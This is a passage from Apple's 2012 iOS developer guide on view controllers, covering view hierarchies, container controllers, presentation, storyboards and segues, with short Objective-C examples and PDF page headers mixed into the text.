2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
10iOS provides many built-in container view controller types you can use to organize your user interface.
Relevant chapter: “View Controller Basics” (page 14)
Presenting a View Controller Temporarily Brings Its View Onscreen
Sometimes a view controller wants to display additional information to the user. Or perhaps it wants the user
to provide additional information or perform a task. Screen space is limited on iOS devices; the device might
not have enough room to display all the user interface elements at the same time. Instead, an iOS app
temporarily displays another view for the user to interact with. The view is displayed only long enough for the
user to finish the requested action.
To simplify the effort required to implement such interfaces, iOS allows a view controller to present another
view controller’s contents. When presented, the new view controller’s views are displayed on a portion of the
screen—often the entire screen. Later, when the user completes the task, the presented view controller tells
the view controller that presented it that the task is complete. The presenting view controller then dismisses
the view controller it presented, restoring the screen to its original state.
Presentation behavior must be included in a view controller’s design in order for it to be presented by another
view controller.
Relevant chapter: “Presenting View Controllers from Other View Controllers” (page 88)
Storyboards Link User Interface Elements into an App Interface
A user interface design can be very complex. Each view controller references multiple views, gesture recognizers,
and other user interface objects. In return, these objects maintain references to the view controller or execute
specific pieces of code in response to actions the user takes. And view controllers rarely act in isolation. The
collaboration between multiple view controllers also defines other relationships in your app. In short, creating
a user interface means instantiating and configuring many objects and establishing the relationships between
them, which can be time consuming and error prone.
Instead, use Interface Builder to create storyboards. A storyboard holds preconfigured instances of view
controllers and their associated objects. Each object’s attributes can be configured in Interface Builder, as can
relationships between them.
At runtime, your app loads storyboards and uses them to drive your app’s interface. When objects are loaded
from the storyboard, they are restored to the state you configured in the storyboard. UIKit also provides methods
you can override to customize behaviors that cannot be configured directly in Interface Builder.
About View Controllers
At a Glance
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
11By using storyboards, you can easily see how the objects in your app’s user interface fit together. You also
write less code to create and configure your app’s user-interface objects.
Relevant chapter: “View Controller Basics” (page 14), “Using View Controllers in Your App” (page
35)
How to Use This Document
Start by reading “View Controller Basics” (page 14), which explains how view controllers work to create your
app’s interface. Next, read “Using View Controllers in Your App” (page 35) to understand how to use view
controllers, both those built into iOS and those you create yourself.
When you are ready to implement your app’s custom controllers, read “Creating Custom Content View
Controllers” (page 43) for an overview of the tasks your view controller performs, and then read the remaining
chapters in this document to learn how to implement those behaviors.
Prerequisites
Before reading this document, you should be familiar with the content in Start Developing iOS Apps Today and
Your Second iOS App: Storyboards. The storyboard tutorial demonstrates many of the techniques described in
this book, including the following Cocoa concepts:
● Defining new Objective-C classes
● The role of delegate objects in managing app behaviors
● The Model-View-Controller paradigm
See Also
For more information about the standard container view controllers provided by UIKit, see View Controller
Catalog for iOS .
For guidance on how to manipulate views in your view controller, see View Programming Guide for iOS .
For guidance on how to handle events in your view controller, see Event Handling Guide for iOS .
For more information about the overall structure of an iOS app, see iOS App Programming Guide .
About View Controllers
How to Use This Document
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
12For guidance on how to configure storyboards in your project, see Xcode 4 User Guide
About View Controllers
See Also
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
13Appsrunning on iOS–based devices have a limited amount ofscreen space for displaying content and therefore
must be creative in how they present information to the user. Apps that have lots of information to display
must therefore only show a portion to start, and then show and hide additional content as the user interacts
with the app. View controller objects provide the infrastructure for managing content and for coordinating
the showing and hiding of it. By having different view controller classes control separate portions of your user
interface, you break up the implementation of your user interface into smaller and more manageable units.
Before you can use view controllers in your app, you need a basic understanding of the major classes used to
display content in an iOS app, including windows and views. A key part of any view controller’simplementation
isto manage the views used to display its content. However, managing viewsis not the only job view controllers
perform. Most view controllers also communicate and coordinate with other view controllers when transitions
occur. Because of the many connections view controllers manage, both looking inward to views and associated
objects and looking outward to other controllers, understanding the connections between objects can sometimes
be difficult. Instead, use Interface Builder to create storyboards. Storyboards make it easier to visualize the
relationships in your app and greatly simplify the effort needed to initialize objects at runtime.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
14
View Controller BasicsScreens, Windows, and Views Create Visual Interfaces
Figure 1-1 shows a simple interface. On the left, you can see the objects that make up this interface and
understand how they are connected to each other.
Figure 1-1 A window with its target screen and content views
There are three major objects at work here:
● A UIScreen object that identifies a physical screen connected to the device.
● A UIWindow object that provides drawing support for the screen.
● A set of UIView objectsto perform the drawing. These objects are attached to the window and draw their
contents when the window asks them to.
View Controller Basics
Screens, Windows, and Views Create Visual Interfaces
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
15Figure 1-2 shows how these classes (and related important classes) are defined in UIKit.
Figure 1-2 Classes in the view system
Although you don’t need to understand everything about views to understand view controllers, it can be
helpful to consider the most salient features of views:
● A view represents a user interface element. Each view covers a specific area. Within that area, it displays
contents or responds to user events.
● Views can be nested in a view hierarchy. Subviews are positioned and drawn relative to their superview.
Thus, when the superview moves, its subviews move with it. This hierarchy makes it easy to assemble a
group of related views by placing them in a common superview.
● Views can animate their property values. When a change to a property value is animated, the value gradually
changes over a defined period of time until it reachesthe new value. Changesto multiple properties across
multiple views can be coordinated in a single animation.
Animation is critically important to iOS app development. Because most apps display only a portion of
their contents at one time, an animation allows the user to see when a transition occurred and where the
new content came from. An instantaneous transition might confuse the user.
● Views rarely understand the role they play in your app. For example, Figure 1-1 shows a button (titled
Hello), which is a special kind of view, known as a control . Controls know how to respond to user interaction
in their area, but they don’t know what they control. Instead, when a user interacts with a control, it sends
messages to other objects in your app. This flexibility allows a single class (UIButton) to provide the
implementation for multiple buttons, each configured to trigger a different action.
A complex app needs many views, often assembling them into view hierarchies. It needs to animate subsets
of these views onto or off the screen to provide the illusion of a single larger interface. And finally, to keep
view classes reusable, the view classes need to be ignorant of the specific role they perform in the app. So the
app logic—the brains—needs to be placed somewhere else. Your view controllers are the brains that tie your
app’s views together.
View Controller Basics
Screens, Windows, and Views Create Visual Interfaces
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
16View Controllers Manage Views
Each view controller organizes and controls a view; this view is often the root view of a view hierarchy. View
controllers are controller objects in the MVC pattern, but a view controller also has specific tasks iOS expects
it to perform. These tasks are defined by the UIViewController class that all view controllers inherit from.
All view controllers perform view and resource management tasks; other responsibilities depend on how the
view controller is used.
Figure 1-3 shows the interface from Figure 1-1, but updated here to use a view controller. You never directly
assign the views to the window. Instead, you assign a view controller to the window, and the view controller
automatically adds its view to the window.
Figure 1-3 A view controller attached to a window automatically adds its view as a subview of the window
A view controller is careful to load its view only when the view is needed. It can also release the view under
certain conditions. For these reasons, view controllers play a key part in managing resources in your app.
A view controller is the natural place to coordinate actions of its connected views. For example, when a button
is pressed, it sends a message to the view controller. Although the view itself may be ignorant of the task it
performs, the view controller is expected to understand what the button press means and how it should
respond. The controller might update data objects, animate or change property values stored in its views, or
even bring another view controller’s contents to the screen.
Usually, each view controller instantiated by your app sees only a subset of your app’s data. It knows how to
display that particular set of data, without needing to know about other kinds of data. Thus, an app’s data
model, user interface design, and the view controllers you create are all influenced by each other.
View Controller Basics
View Controllers Manage Views
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
17Figure 1-4 shows an example of an app that managesrecipes. This app displaysthree related but distinct views.
The first view lists the recipes that the app manages. Tapping a recipe shows the second view, which describes
the recipe. Tapping the recipe’s picture in the detail view shows the third view, a larger version of the photo.
Each view is managed by a distinct view controller object whose job isto present the appropriate view, populate
the subviews with data, and respond to user interactions within the view hierarchy.
Figure 1-4 Distinct views managed by separate view controllers
This example demonstrates a few factors common to view controllers:
● Every view is controlled by only one view controller. When a view is assigned to the view controller’s view
property, the view controller owns it. If the view is a subview, it might be controlled by the same view
controller or a different view controller. You’ll learn more about how to use multiple view controllers to
organize a single view hierarchy when you learn about container view controllers.
● Each view controller interacts with a subset of your app’s data. For example, the Photo controller needs
to know only the photo to be displayed.
● Because each view controller provides only a subset of the user experience, the view controllers must
communicate with each other to make this experience seamless. They may also communicate with other
controllers, such as data controllers or document objects.
View Controller Basics
View Controllers Manage Views
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
18A Taxonomy of View Controllers
Figure 1-5 showsthe view controller classes available in the UIKit framework along with other classesimportant
to view controllers. For example, the UITabBarController object manages a UITabBar object, which
actually displays the tabs associated with the tab bar interface. Other frameworks define additional view
controller classes not shown in this figure.
Figure 1-5 View controller classes in UIKit
View controllers, both those provided by iOS and those you define, can be divided into two general
categories—content view controllers and container view controllers—which reflect the role the view controller
plays in an app.
Content View Controllers Display Content
A content view controller presents content on the screen using a view or a group of views organized into a
view hierarchy. The controllers described up to this point have been content view controllers. A content view
controller usually knows about the subset of the app’s data that is relevant to the role the controller plays in
the app.
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
19Here are common examples where your app uses content view controllers:
● To show data to the user
● To collect data from the user
● To perform a specific task
● To navigate between a set of available commands or options, such as on the launch screen for a game
Content view controllers are the primary coordinating objects for your app because they know the specific
details of the data and tasks your app offers the user.
Each content view controller object you create is responsible for managing all the views in a single view
hierarchy. The one-to-one correspondence between a view controller and the views in its view hierarchy is the
key design consideration. You should not use multiple content view controllers to manage the same view
hierarchy. Similarly, you should not use a single content view controller object to manage multiple screens’
worth of content.
For information about defining your content view controller and implementing the required behaviors, see
“Creating Custom Content View Controllers” (page 43).
About Table View Controllers
Many apps display tabular data. For this reason, iOS provides a built-in subclass of the UIViewController
class designed specifically for managing tabular data. This class, UITableViewController, manages a table
view and adds support for many standard table-related behaviors such as selection management, row editing,
and table configuration. This additional support is there to minimize the amount of code you must write to
create and initialize a table-based interface. You can also subclass UITableViewController to add other
custom behaviors.
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
20Figure 1-6 shows an example using a table view controller. Because it is a subclass of the UIViewController
class, the table view controller still has a pointer to the root view of the interface (through its view property)
but it also has a separate pointer to the table view displayed in that interface.
Figure 1-6 Managing tabular data
For more information about table views, see Table View Programming Guide for iOS .
Container View Controllers Arrange Content of Other View Controllers
A container view controller contains content owned by other view controllers. These other view controllers
are explicitly assigned to the container view controller as its children. A container controller can be both a
parent to other controllers and a child of another container. Ultimately, this combination of controllers establishes
a view controller hierarchy.
Each type of container view controller establishes a user interface that its children operate in. The visual
presentation of this user interface and the design it imposes on its children can vary widely between different
types of containers. For example, here are some ways that different container view controllers may distinguish
themselves:
● A container provides its own API to manage its children.
● A container decides whether the children have a relationship between them and what that relationship
is.
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
21● A container manages a view hierarchy just as other view controllers do. A container can also add the views
of any of its children into its view hierarchy. The container decides when such a view is added and how it
should be sized to fit the container’s view hierarchy, but otherwise the child view controller remains
responsible for the view and its subviews.
● A container might impose specific design considerations on its children. For example, a container might
limit its children to certain view controller classes, or it might expect those controllersto provide additional
content needed to configure the container’s views.
The built-in container classes are each organized around an important user interface principle. You use the
user interfaces managed by these containers to organize complex apps.
About Navigation Controllers
A navigation controller presents data that is organized hierarchically and is an instance of the
UINavigationController class. The methods of this class provide support for managing a stack-based
collection of content view controllers. Thisstack representsthe path taken by the user through the hierarchical
data, with the bottom of the stack reflecting the starting point and the top of the stack reflecting the user’s
current position in the data.
Figure 1-7 shows screens from the Contacts app, which uses a navigation controller to present contact
information to the user. The navigation bar at the top of each page is owned by the navigation controller. The
rest of each screen displayed to the user is managed by a content view controller that presentsthe information
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
22at that specific level of the data hierarchy. As the user interacts with controls in the interface, those controls
tell the navigation controller to display the next view controller in the sequence or dismiss the current view
controller.
Figure 1-7 Navigating hierarchical data
Although a navigation controller’s primary job is to manage its child view controllers, it also manages a few
views. Specifically, it manages a navigation bar (that displays information about the user’s current location in
the data hierarchy), a button (for navigating back to previous screens), and any custom controls the current
view controller needs. You do not directly modify the views owned by the view controller. Instead, you configure
the controls that the navigation controller displays by setting properties on each child view controller.
For information about how to configure and use navigation controller objects, see “Navigation Controllers”.
About Tab Bar Controllers
A tab bar controller is a container view controller that you use to divide your app into two or more distinct
modes of operation. A tab bar controller is an instance of the UITabBarController class. The tab bar has
multiple tabs, each represented by a child view controller. Selecting a tab causes the tab bar controller to
display the associated view controller’s view on the screen.
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
23Figure 1-8 shows several modes of the Clock app along with the relationships between the corresponding
view controllers. Each mode has a content view controller to manage the main content area. In the case of the
Clock app, the Clock and Alarm view controllers both display a navigation-style interface to accommodate
some additional controls along the top of the screen. The other modes use content view controllers to present
a single screen.
Figure 1-8 Different modes of the Clock app
You use tab bar controllers when your app either presents different types of data or presents the same data
in different ways.
For information about how to configure and use a tab bar controller, see “Tab Bar Controllers”.
About Split View Controllers
A split view controller divides the screen into multiple parts, each of which can be updated separately. The
appearance of a split view controller may vary depending on its orientation. A split view controller is an instance
of the UISplitViewController class. The contents of a split view interface are derived from two child view
controllers.
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
24Figure 1-9 shows a split view interface from the MultipleDetailViews sample app. In portait mode, only the
detail view is displayed. The list view is made available using a popover. However, when displayed in landscape
mode, the split view controller displays the contents of both children side by side.
Figure 1-9 A master-detail interface in portrait and landscape modes
Split view controllers are supported on iPad only and are designed to help you take advantage of the larger
screen of that device. They are the preferred way to implement master-detail interfaces in iPad apps.
For information about how to configure and use a split view controller, see “Popovers”.
About Popover Controllers
Look again at Figure 1-9. When the split view controller is displayed in portrait mode, the master views is
displayed in a special control, known as a popover. In an iPad app, you can use popover controllers
(UIPopoverController) to implement popovers in your own app.
A popover controller is not actually a container; it does not inherent from UIViewController at all. But, in
practice, a popover controller is similar to a container, so you apply the same programming principles when
you use them.
For information about how to configure and use a popover controller, see “Popovers”.
View Controller Basics
A Taxonomy of View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
25About Page View Controllers
A page view controller is a container view controller used to implement a page layout. That layout allows
users to flip between discrete pages of content as if it were a book. A page view controller is an instance of
the UIPageViewController class. Each content page is provided by a content view controller. The page
view controller managesthe transitions between pages. When new pages are required, the page view controller
calls an associated data source to retrieve a view controller for the next page.
For information about how to configure and use a page view controller, see “Page View Controllers”.
A View Controller’s Content Can Be Displayed in Many Ways
For a view controller’s contents to be visible to the user, it must be associated with a window. There are many
ways you can do this in your app:
● Make the view controller a window’s root view controller.
● Make the view controller a child of a container.
● Show the view controller in a popover control.
● Present it from another view controller.
View Controller Basics
A View Controller’s Content Can Be Displayed in Many Ways
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
26Figure 1-10 shows an example from the Contacts app. When the user clicks the plus button to add a new
contact, the Contacts view controller presentsthe New Contact view controller. The New Contactscreen remains
visible until the user cancels the operation or provides enough information about the contact that it can be
saved to the contacts database. At that point the information is transmitted to the Contacts view controller,
which then dismisses the controller it presented.
Figure 1-10 Presenting a view controller
A presented view controller isn’t a specific type of view controller—the presented view controller can be either
a content or a container view controller with an attached content view controller. In practice, the content view
controller is designed specifically to be presented by another controller, so it can be useful to think of it as a
variant of a content view controller. Although container view controllers define specific relationships between
the managed view controllers, using presentation allows you to define the relationship between the view
controller being presented and the view controller presenting it.
View Controller Basics
A View Controller’s Content Can Be Displayed in Many Ways
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
27Most of the time, you present view controllersto gather information from the user or capture the user’s attention
for some specific purpose. Once that purpose is completed, the presenting view controller dismisses the
presented view controller and returns to the standard app interface.
It is worth noting that a presented view controller can itself present another view controller. This ability to
chain view controllers together can be useful when you need to perform several modal actions sequentially.
For example, if the user taps the Add Photo button in the New Contact screen in Figure 1-10 and wants to
choose an existing image, the New Contact view controller presents an image picker interface. The user must
dismiss the image picker screen and then dismiss the New Contact screen separately to return to the list of
contacts.
When presenting a view controller, one view controller determines how much of the screen is used to present
the view controller. The portion of the screen is called the presentation context By default, the presentation
context is defined to cover the window.
For more information about how to present view controllers in your app, see “Presenting View Controllers
from Other View Controllers” (page 88).
View Controllers Work Together to Create an App’s Interface
View controllers manage their views and other associated objects, but they also work with other view controllers
to provide a seamless user interface. The distribution of work and communication between your app’s view
controllers is an essential part of working with them. Because these relationships are so important to building
complex apps, this next section reviews the relationships already discussed and describes them in more detail.
View Controller Basics
View Controllers Work Together to Create an App’s Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
28Parent-Child Relationships Represent Containment
A view controller hierarchy starts with a single parent, the root view controller of a window. If that view controller
is a container, it may have children that provide content. Those controllers, in turn, may also be containers
with children of their own. Figure 1-11 shows an example of a view controller hierarchy. The root view controller
is a tab view controller with four tabs. The first tab uses a navigation controller with children of its own and
the other three tabs are managed by content view controllers with no children.
Figure 1-11 Parent-child relationships
The area each view controller fills is determined by its parent. The root view controller’s area is determined by
the window. In Figure 1-11, the tab view controller gets its size from the window. It reserves space for its tab
bar and gives the remainder of the space to its children. If the navigation controller were the control displayed
right now, it reserves space for its navigation bar and hands the rest to its content controller. At each step, the
child view controller’s view is resized by the parent and placed into the parent’s view hierarchy.
This combination of views and view controllers also establishes the responder chain for events handled by your
app.
Sibling Relationships Represent Peers Inside a Container
The kind of container defines the relationships (if any exists) shared by its children. For example, compare the
tab view controller and navigation controller.
●
In a tab view controller, the tabs represent distinct screens of content; tab bar controllers do not define a
relationship between its children, although your app can choose to do so.
●
In a navigation controller, siblings display related views arranged in a stack. Siblings usually share a
connection with adjacent siblings.
View Controller Basics
View Controllers Work Together to Create an App’s Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
29Figure 1-12 shows a common configuration of view controllers associated with a navigation controller. The
first child, the master, shows the available content without showing all of the details. When an item is selected,
it pushes a new sibling onto the navigation controller so that the user can see the additional details. Similarly,
if the user needsto see more details, thissibling can push another view controller thatshowsthe most detailed
content available. When siblings have a well defined relationship as in this example, they often coordinate
with each other, either directly or through the container controller. See Figure 1-15 (page 32).
Figure 1-12 Sibling relationships in a navigation controller
Presentation Represents a Transient Display of Another Interface
A view controller presents another view controller when it wants that view controller to perform a task. The
presenting view controller is in charge of this behavior. It configures the presented view controller, receives
information from it, and eventually dismisses it. However, while it is being presented, the presented view
controller’s view is temporarily added to the window’s view hierarchy.
In Figure 1-13, a content view controller attached to the tab view presents a view controller to perform a task.
The content controller is the presenting view controller, and the modal view controller is the presented view
controller.
Figure 1-13 Modal presentation by a content view
View Controller Basics
View Controllers Work Together to Create an App’s Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
30When a view controller is presented, the portion of the screen that it coversis defined by a presentation context
provided to it by another view controller. The view controller that provides the presentation context does not
need be the same view controller that presented it. Figure 1-14 shows the same view controller hierarchy that
is presented in Figure 1-13. You can see that the content view presented the view controller, but it did not
provide the presentation context. Instead, the view controller was presented by the tab controller. Because of
this, even though the presenting view controller only covers the portion of the screen provided to it by the
tab view controller, the presented view controller uses the entire area owned by the tab view controller.
Figure 1-14 The actual presentation is performed by the root view controller.
Control Flow Represents Overall Coordination Between Content Controllers
In an app with multiple view controllers, view controllers are usually created and destroyed throughout the
lifetime of the app. During their lifetimes, the view controllers communicate with each other to present a
seamless user experience. These relationships represent the control flow of your app.
Most commonly, this control flow happens when a new view controller isinstantiated. Usually, a view controller
is instantiated because of actions in another view controller. The first view controller, known as the source view
controller directs the second view controller, the destination view controller. If the destination view controller
presents data to the user, the source view controller usually provides that data. Similarly, if the source view
controller needsinformation from the destination view controller, it isresponsible for establishing the connection
between the two view controllers.
Figure 1-15 shows the most common examples of these relationships.
In the figure:
● A child of a navigation controller pushes another child onto the navigation stack.
● A view controller presents another view controller.
View Controller Basics
View Controllers Work Together to Create an App’s Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
31● A view controller displays another view controller in a popover.
Figure 1-15 Communication between source and destination view controllers
Each controller is configured by the one preceding it. When multiple controllers work together, they establish
a communication chain throughout the app.
The control flow at each link in this chain is defined by the destination view controller. The source view controller
uses the conventions provided by the destination view controller.
● The destination view controller provides properties used to configure its data and presentation.
●
If the destination view controller needs to communicate with view controllers preceding it in the chain,
it uses delegation. When the source view controller configures the destination view controller’s other
properties, it is also expected to provide an object that implements the delegate’s protocol.
The benefit of using this control flow convention is that there is a clean division of responsibilities between
each pair ofsource and destination view controllers. Data flows down the path when the source view controller
asksthe destination view controller to perform a task; the source view controller drivesthe process. For example,
it might provide the specific data object that the destination controller should display. In the other direction,
data flows up the path when a view controller needsto communicatesinformation back to the source controller
that spawned it. For example, it might communicate when the task completes.
Also, by consistently implementing this control flow model, you ensure that destination view controllers never
know too much about the source view controller that configured them. When it does know about a view
controller earlier in the chain, it knows only that the class implements the delegate protocol, not the class of
the class. By keeping view controllersfrom knowing too much about each other, individual controllers become
more reusable. For someone reading your code, a consistently implemented control flow model makes it easy
to see the communication path between any pair of controllers.
View Controller Basics
View Controllers Work Together to Create an App’s Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
32Storyboards Help You Design Your User Interface
When you implement your app using storyboards, you use Interface Builder to organize your app’s view
controllers and any associated views. Figure 1-16 shows an example interface layout from Interface Builder.
The visual layout of Interface Builder allows you to understand the flow through your app at a glance. You can
see what view controllers are instantiated by your app and their order of instantiation. But more than that,
you can configure complex collections of views and other objects in the storyboard. The resulting storyboard
is stored as a file in your project. When you build your project, the storyboards in your project are processed
and copied into the app bundle, where they are loaded by your app at runtime.
Figure 1-16 A storyboard diagram in Interface Builder
Often, iOS can automatically instantiate the view controllersin yourstoryboard at the moment they are needed.
Similarly, the view hierarchy associated with each controller is automatically loaded when it needs to be
displayed. Both view controllers and views are instantiated with the same attributes you configured in Interface
Builder. Because most of this behavior is automated for you, it greatly simplifies the work required to use view
controllers in your app.
The full details of creating storyboards are described in Xcode 4 User Guide . For now, you need to know some
of the essential terminology used when implementing storyboards in your app.
A scene represents an onscreen content area that is managed by a view controller. You can think of a scene
as a view controller and its associated view hierarchy.
View Controller Basics
Storyboards Help You Design Your User Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
33You create relationships between scenes in the same storyboard. Relationships are expressed visually in a
storyboard as a connection arrow from one scene to another. Interface Builder usually infers the details of a
new relationship automatically when you make a connection between two objects. Two important kinds of
relationships exist:
● Containment represents a parent-child relationship between two scenes. View controllers contained in
other view controllers are instantiated when their parent controller is instantiated. For example, the first
connection from a navigation controller to another scene defines the first view controller pushed onto
the navigation stack. This controller is automatically instantiated when the navigation controller is
instantiated.
An advantage to using containment relationships in a storyboard is that Interface Builder can adjust the
appearance of the child view controller to reflect the presence of its ancestors. This allowsInterface Builder
to display the content view controller as it appears in your final app.
● A segue represents a visual transition from one scene to another. At runtime, segues can be triggered by
various actions. When a segue istriggered, it causes a new view controller to be instantiated and transitioned
onscreen.
Although a segue is always from one view controller to another, sometimes a third object can be involved
in the process. This object actually triggersthe segue. For example, if you make a connection from a button
in the source view controller’s view hierarchy to the destination view controller, when the user taps the
button, the segue is triggered. When a segue is made directly from the source view controller to the
destination view controller, it usually represents a segue you intend to trigger programatically.
Different kinds of segues provide the common transitions needed between two different view controllers:
● A push segue pushes the destination view controller onto a navigation controller’s stack.
● A modal segue presents the destination view controller.
● A popover segue displays the destination view controller in a popover.
● A custom segue allows you to design your own transition to display the destination view controller.
Segues share a common programming model. In this model, the destination controller is instantiated
automatically by iOS and then the source view controller is called to configure it. This behavior matches
the control flow model described in “Control Flow Represents Overall Coordination Between Content
Controllers” (page 31).
You can also create connections between a view controller and objects stored in the same scene. These outlets
and actions enable you to carefully define the relationships between the view controller and its associated
objects. Connections are not normally visible in the storyboard itself but can be viewed in the Connections
Inspector of Interface Builder.
View Controller Basics
Storyboards Help You Design Your User Interface
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
34Whether you are working with view controllers provided by iOS, or with custom controllers you’ve created to
show your app’s content, you use a similar set of techniques to actually work with the view controllers.
The most common technique for working with view controllers is to place them inside a storyboard. Placing
view controllers in a storyboard allows you to directly establish relationships between the view controllers in
your app without writing code. You can see the flow of control—from controllers created when your app first
launches, to controllers that are instantiated in response to a user’s actions. iOS manages most of this process
by instantiating these view controllers only when the app needs them.
Sometimes you may need to create a view controller by allocating and initializing it programmatically. When
working with view controllers directly, you must write code that instantiates the view controller, configures it,
and displays it.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
35
Using View Controllers in Your AppWorking with View Controllers in Storyboards
Figure 2-1 shows an example of a storyboard. This storyboard includes view controllers, associated views, and
connection arrows that establish relationships between the view controllers. In effect, this storyboard tells a
story, starting with one scene and later showing others in response to a user’s actions.
Figure 2-1 A storyboard holds a set of view controllers and associated objects
A storyboard may designate one view controller to be the initial view controller. If a storyboard represents a
specific workflow through part of your UI, the initial view controller represents the first scene in that workflow.
You establish relationships from the initial view controller to other view controllers in the storyboard. In turn,
you establish relationships from those view controllers to others, eventually connecting most or all of the
storyboard’s scenes into a single connected graph. The type of relationship you establish determines when a
connected view controller is instantiated by iOS, as follows:
●
If the relationship is a segue, the destination view controller is instantiated when the segue is triggered.
●
If the relationship represents containment, the child view controller is instantiated when its parent is
instantiated.
●
If the controller is not the destination or child of another controller, it is never instantiated automatically.
You must instantiate it from the storyboard programmatically.
Using View Controllers in Your App
Working with View Controllers in Storyboards
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
36To identify a specific view controller or segue inside a storyboard, use Interface Builder to assign it an identifier
string that uniquely identifies it. To programmatically load a view controller from the storyboard, you must
assign it an identifier. Similarly, to trigger a segue programmatically, it must also be assigned an identifier.
When a segue is triggered, that segue's identifier is passed to the source view controller, which uses it to
determine which segue was triggered. For this reason, consider labeling every segue with an identifier.
When you build an app using storyboards, you can use a single storyboard to hold all of its view controllers,
or you can create multiple storyboards and implement a portion of the user interface in each. One storyboard
in your app is almost always designated as the main storyboard. If there is a main storyboard, iOS loads it
automatically; other storyboards must be explicitly loaded by your app.
The Main Storyboard Initializes Your App’s User Interface
The main storyboard is defined in the app’s Information property list file. If a main storyboard is declared in this
file, then when your app launches, iOS performs the following steps:
1. It instantiates a window for you.
2. It loads the main storyboard and instantiates its initial view controller.
3. It assigns the new view controller to the window’s rootViewController property and then makes the
window visible on the screen.
Your app delegate is called to configure the initial view controller before it is displayed. The precise set of steps
iOS uses to load the main storyboard is described in “Coordinating Efforts Between View Controllers” (page
98).
Segues Automatically Instantiate the Destination View Controller
A segue represents a triggered transition that brings a new view controller into your app’s user interface.
Segues contain a lot of information about the transition, including the following:
● The object that caused the segue to be triggered, known as the sender
● The source view controller that starts the segue
● The destination view controller to be instantiated
● The kind of transition that should be used to bring the destination view controller onscreen
● An optional identifier string that identifies that specific segue in the storyboard
When a segue is triggered, iOS takes the following actions:
1. It instantiates the destination view controller using the attribute values you provided in the storyboard.
Using View Controllers in Your App
Working with View Controllers in Storyboards
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
372. It gives the source view controller an opportunity to configure the new controller.
3. It performs the transition configured in the segue.
Note: When you implement custom view controllers, each destination view controller declares
public properties and methods used by the source view controller to configure its behavior. In return,
your custom source view controllers override storyboard methods provided by the base class to
configure the destination view controller. The precise details are in “Coordinating Efforts Between
View Controllers” (page 98).
Triggering a Segue Programmatically
A segue is usually triggered because an object associated with the source view controller, such as a control or
gesture recognizer, triggered the segue. However, a segue can also be triggered programmatically by your
app, as long as the segue has an assigned identifier. For example, if you are implementing a game, you might
trigger a segue when a match ends. The destination view controller then displays the match’s final scores.
You programmatically trigger the segue by calling the source view controller’s
performSegueWithIdentifier:sender: method, passing in the identifier for the segue to be triggered.
You also pass in another object that acts as the sender. When the source controller is called to configure the
destination view controller, both the sender object and the identifier for the segue are provided to it.
Listing 2-1 shows a simple method that triggers a segue. This example is a portion of a larger example described
in “Creating an Alternate Landscape Interface” (page 80). In this abbreviated form, you can see that the view
controller is receiving an orientation notification. When the view controller is in portrait mode and the device
is rotated into landscape orientation, the method uses a segue to present a different view controller onscreen.
Because the notification object in this case provides no useful information for performing the segue command,
the view controller makes itself the sender.
Listing 2-1 Triggering a segue programmatically
- (void)orientationChanged:(NSNotification *)notification
{
UIDeviceOrientation deviceOrientation = [UIDevice currentDevice].orientation;
if (UIDeviceOrientationIsLandscape(deviceOrientation) &&
!isShowingLandscapeView)
{
[self performSegueWithIdentifier:@"DisplayAlternateView" sender:self];
isShowingLandscapeView = YES;
}
Using View Controllers in Your App
Working with View Controllers in Storyboards
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
38// Remainder of example omitted.
}
If a segue can be triggered only programmatically, you usually draw the connection arrow directly from the
source view controller to the destination view controller.
Instantiating a Storyboard’s View Controller Programmatically
You may want to programmatically instantiate a view controller without using a segue. A storyboard is still
valuable, because you can use it to configure the attributes of the view controller as well as its view hierarchy.
However, if you do instantiate a view controller programmatically, you do not get any of the behavior of a
segue. To display the view controller, you must implement additional code. For this reason, you should rely
on segues where possible and use this technique only when needed.
Here are the steps your code needs to implement:
1. Obtain a storyboard object (an object of the UIStoryboard class).
If you have an existing view controller instantiated from the same storyboard, read its storyboard
property to retrieve the storyboard. To load a different storyboard, call the UIStoryboard class’s
storyboardWithName:bundle: class method, passing in the name of the storyboard file and an optional
bundle parameter.
2. Call the storyboard object’s instantiateViewControllerWithIdentifier: method, passing in the
identifier you defined for the view controller when you created it in Interface Builder.
Alternatively, you can use the instantiateInitialViewController method to instantiate the initial
view controller in a storyboard, without needing to know its identifier.
3. Configure the new view controller by setting its properties.
4. Display the new view controller. See “Displaying a View Controller’s Contents Programmatically” (page
41).
Listing 2-2 shows an example of this technique. It retrieves the storyboard from an existing view controller
and instantiates a new view controller using it.
Listing 2-2 Instantiating another view controller inside the same storyboard
- (IBAction)presentSpecialViewController:(id)sender {
UIStoryboard *storyboard = self.storyboard;
SpecialViewController *svc = [storyboard
instantiateViewControllerWithIdentifier:@"SpecialViewController"];
Using View Controllers in Your App
